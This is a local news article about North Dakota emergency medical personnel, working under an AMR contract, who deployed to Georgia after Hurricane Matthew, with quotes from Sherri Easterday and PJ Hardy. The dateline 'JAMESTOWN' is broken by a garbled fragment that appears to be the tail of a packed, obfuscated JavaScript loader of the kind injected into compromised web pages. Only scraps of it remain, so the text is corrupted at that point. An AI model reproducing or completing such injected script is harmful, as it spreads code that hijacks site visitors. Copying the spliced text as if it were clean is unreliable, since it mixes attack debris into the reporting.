JAMESTOWN, rsysd|var|u0026u|referrer|atbtt||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Some local individuals have mobilized and traveled to Georgia following the aftermath of Hurricane Matthew.

Sherri Easterday is the Para-Corp Manager. She stated that they have a contract through the American Medical Response (AMR) that calls for personnel when FEMA announces a state of emergency in a location.

Currently, 5 emergency personnel and one mechanic from North Dakota are providing service in Georgia. Easterday pointed out that FEMA called for their entire strike team, which consists of 12 to 14 people.

Easterday stated that they’ve provided this service through AMR and FEMA for several years, dating back to Hurricane Katrina and other natural disasters of that sort.

PJ Hardy, Operations Manager and Paramedic for Ringdahl Ambulance Service in Jamestown, stated that others individuals were stepping up locally to help.

There is no certain timetable on how long the emergency personnel will remain in Georgia or when they’ll return.